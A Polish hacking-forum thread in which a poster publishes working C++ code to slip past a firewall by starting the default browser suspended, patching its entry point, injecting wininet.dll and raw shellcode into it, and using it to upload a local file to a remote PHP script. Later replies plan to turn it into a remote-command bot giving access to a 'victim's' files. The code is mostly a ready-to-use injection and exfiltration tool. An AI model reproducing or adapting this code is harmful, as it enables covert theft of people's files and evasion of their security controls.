[C++]Omijamy Firewall czyli prosta metoda firewall bypass

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Dobra przejdzmy odrazu do konkretow.

Metoda ktora tutaj pokaze sluzy do wysylania plikow (jak ktoś ma troche chęci i wiedzy to bez problemu przerobi to na kod pobierajacy pliki)
Po co omijamy firewall mam nadzieje że nie musze tłumaczyc ;)

Potrzebne nagłówki:
Kod:
#include <Windows.h>
#include <stdio.h>
#include <string>
#include <fstream>
#include <shlwapi.h>

Będziemy potrzebować także potrzebowali kodowania base64(jeśli chcemy wysylać pliki binarne)
nie ukrywam podany tutaj kod konwersji jest wziety z sieci, na potrzeby tego arta nie jest to istotne

Kod:
static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";


static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}

std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];

  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;

      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }

  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';

    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;

    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];

    while((i++ < 3))
      ret += '=';

  }

  return ret;

}

No to teraz pare słów na czym polega metoda. Otóż na 99.9% przegladarka intenetowa ma pozwolenie na komunikacje z internetem
skorzystamy z tego faktu i wykonamy Code Injection do przegladarki. Kod ktory injectujemy do przegladarki wysle plik na serwer (do skryptu php)
Ale co zrobić jesli chcemy teraz wyslac plik a przegladarka nie jest wlaczona? Uruchomimy domyslna przegladarke tylko ze zrobimy z niej proces zombie ;)
Czyli 2 pierwsze bajty w Entry Point nadpiszemy skokiem JMP $ czy jak niektorzy pisza (JMP EIP) wtedy program nie bedzie nic robil a my spokojnie wyslemy plik a potem zamkniemy proces.

Kod:
HANDLE MakeZombieProcess()
{
	char def_brow[MAX_PATH];
	DWORD out_size=MAX_PATH;
 AssocQueryString(0, ASSOCSTR_EXECUTABLE,"http", "open", def_brow, &out_size);//pobieramy sciezke domyslnej przegladarki
	STARTUPINFO st={0};
	PROCESS_INFORMATION pi={0};
 CreateProcess(def_brow,NULL,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&st,&pi);//tworzymy uśpiony proces
	CONTEXT cx;
	cx.ContextFlags=CONTEXT_ALL;
	GetThreadContext(pi.hThread,&cx);

	DWORD old;
 VirtualProtectEx(pi.hProcess,(LPVOID)cx.Eax,2,PAGE_EXECUTE_READWRITE,&old);
 WriteProcessMemory(pi.hProcess,(LPVOID)cx.Eax,"\xEB\xFE",2,&old);//napisujemy skokiem
 ResumeThread(pi.hThread);//wlaczamy proces
	return pi.hProcess;
}

Teraz funkcja ktora wysle plik
Kod:
void UploadFile(char* filename,char* server,char* script,char* f_name,HANDLE hProc)
{
char* buffer;
	ifstream f(filename,ios::binary);
	f.seekg(0,ios::end);
	int size=f.tellg();
	f.seekg(0,ios::beg);
	buffer=(char*)malloc(size);
	int i=0;
	while(i<size)
	{
	buffer[i]=f.get();
	i++;
	}
	f.close();

	string buf=base64_encode((const unsigned char*)buffer,size);
	string hdrs = "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858"; 
	string frmdata = "-----------------------------7d82751e2bc0858\nContent-Disposition: form-data; name=\"upl\"; filename=\"";
	frmdata+=f_name;
 frmdata+="\"\nContent-Type: application/octet-stream\n\n";
	frmdata+=buf;
	frmdata+="\n-----------------------------7d82751e2bc0858--";

	
	char* load=(char*)VirtualAllocEx(hProc,0,strlen("wininet.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	DWORD n_wrt;
	WriteProcessMemory(hProc,load,"wininet.dll",strlen("wininet.dll"),&n_wrt);
	HANDLE hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),load,0,&n_wrt);
	WaitForSingleObject(hThr,INFINITE);
	DWORD IB;
	GetExitCodeThread(hThr,&IB);

	char* agent=(char*)VirtualAllocEx(hProc,0,6,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,agent,"Agent",6,&n_wrt);
	char* host=(char*)VirtualAllocEx(hProc,0,strlen(server),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,host,server,strlen(server),&n_wrt);
	char* method=(char*)VirtualAllocEx(hProc,0,strlen("POST"),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,method,"POST",strlen("POST"),&n_wrt);
	char* plik=(char*)VirtualAllocEx(hProc,0,strlen(script),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,plik,script,strlen(script),&n_wrt);

	DWORD Open=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetOpenA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Con=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetConnectA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Req=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpOpenRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
	DWORD Req_s=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpSendRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;

	DWORD h_size=hdrs.length();
	DWORD d_size=frmdata.length();
	char* head=(char*)VirtualAllocEx(hProc,0,h_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	char* data=(char*)VirtualAllocEx(hProc,0,d_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProc,head,hdrs.c_str(),h_size,&n_wrt);
	WriteProcessMemory(hProc,data,frmdata.c_str(),d_size,&n_wrt);
	
	char shellcode[]="\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x03\x6A\x00\x6A\x00\x6A\x50\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x33\xC0\xC3";


memcpy((char*)(shellcode+9),&agent,4);
memcpy((char*)(shellcode+14),&Open,4);
memcpy((char*)(shellcode+33),&host,4);
memcpy((char*)(shellcode+39),&Con,4);
memcpy((char*)(shellcode+56),&plik,4);
memcpy((char*)(shellcode+61),&method,4);
memcpy((char*)(shellcode+67),&Req,4);
memcpy((char*)(shellcode+74),&d_size,4);
memcpy((char*)(shellcode+79),&data,4);
memcpy((char*)(shellcode+84),&h_size,4);
memcpy((char*)(shellcode+89),&head,4);
memcpy((char*)(shellcode+95),&Req_s,4);

char* Sh=(char*)VirtualAllocEx(hProc,0,sizeof(shellcode),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,Sh,shellcode,sizeof(shellcode),&n_wrt);
hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)Sh,0,0,0);
WaitForSingleObject(hThr,INFINITE);
GetExitCodeThread(hThr,&IB);

VirtualFreeEx(hProc,agent,0,MEM_RELEASE);
VirtualFreeEx(hProc,method,0,MEM_RELEASE);
VirtualFreeEx(hProc,host,0,MEM_RELEASE);
VirtualFreeEx(hProc,plik,0,MEM_RELEASE);
VirtualFreeEx(hProc,head,0,MEM_RELEASE);
VirtualFreeEx(hProc,data,0,MEM_RELEASE);
}
Shellcode jest bardzo prosty(pare pushy i 4 calle)

Przykład użycia:

Kod:
HANDLE hProc=MakeZombieProcess();//tworzymy proces zombie
 UploadFile("plik_do_wyslania.exe","host.com","upload/upload.php","program.exe",hProc);//Wysylamy plik
 TerminateProcess(hProc,0x0);//zabijamy proces

Po wykonaniu tego kodu plik_do_wyslania zostanie wyslany do host.com/upload/upload.php jako program.exe nazwa zmiennej w php to "upl"(bez cudzyslowu)[mozna zmienic]

Plik jest kodowany w base64 wiec po odebraniu go przez skrypt php na serwerze musimy do odkodowac(wywolanie 1 funkcji)
Napisanie skryptu php pozostawiam zainteresowanym bo to już jest dziecinnie proste.

Powodzenia
 

piotrek388

Użytkownik
Dołączył
Marzec 10, 2011
Posty
31
Potrzebne nagłówki:
Kod:
#include <Windows.h>
[B]#include <stdio.h>[/B]
#include <string>
#include <fstream>
#include <shlwapi.h>

Czy nie powinno być tutaj co podkreśliłem #include <studio.h>

Ogólnie no to super
 

piotrek388

Użytkownik
Dołączył
Marzec 10, 2011
Posty
31
Ahaa no to jeżeli tak to dobrze, nie wiedzialem.
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
stdio.h czyli STandarD Input Output
Dzieki za pozytywne opinie ;)
 

piotrek388

Użytkownik
Dołączył
Marzec 10, 2011
Posty
31
W obu przypadkach nazwa jest nazwą pliku, który chcemy dołączyć do programu. W tym
miejscu następuje jednak małe zamieszanie. Wszystkie pliki nagłówkowe mają standardowo
rozszerzenie h. Otóż pliki nagłówkowe pochodzące z czystego języka C++ dołączamy podając
samą nazwę pliku bez rozszerzenia. Natomiast pliki pochodzące tak naprawdę z poprzednika języka
C++, czyli języka C włączamy podając nazwę wraz z rozszerzeniem.

Dla przykładu:

#include <iostream>


ale

#include <stdio.h>

Jednocześnie warto wiedzieć, że niektóre biblioteki języka C mają swoje odpowiedniki w języku
C++. Jeśli biblioteka występowała w języku C jako nazwa.h, to w języku C++ powinniśmy
spróbować dołączyć ją jako cnazwa - zapisujemy nazwę biblioteki z języka C poprzedzoną literą c
bez rozszerzenia. W ten sposób otrzymujemy zamiast stdio.h – cstdio, zamiast math.h – cmath,
zamiast string.h - cstring itd. Oczywiście nie wszystkie biblioteki języka C mają swój odpowiednik w
C++ - należy wówczas spróbować użyć biblioteki z wersji języka C.


A więc raczej w obu przypadkach jest dobrze nie sądzisz?
 

cpp

Użytkownik
Dołączył
Luty 3, 2012
Posty
7
Patrząc na ten kod, na razie nie kompilowałem, wymodziłem coś takiego:

proces zombie sprawdza na jakieś stronce, powiedzmy xxx.republika.pl/index.html proste polecenie tekstowe, pobiera je, przetwarza, wykonuje. Tylko trzeba uprzednio zaprogramować daną akcję na dane polecenie.

Druga sprawa, czego jeszcze nie rozgryzłem to usługa telnet w każdym shitdowsie, nie wiem tylko jeszcze jak postawić serwer, jak to się wymyśli to można wtedy sprawną komunikację przeprowadzać i mieć swobodny dostęp do plików na koncie ofiary ;]
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
To jest kod ktory tylko przesyla plik jesli chcesz zeby tez odbieral mozesz spokojnie to napisac(troche wiecej shellcodu)
I na serwerze zrobic cos w stylu kolejki komunikatow
 
Do góry Bottom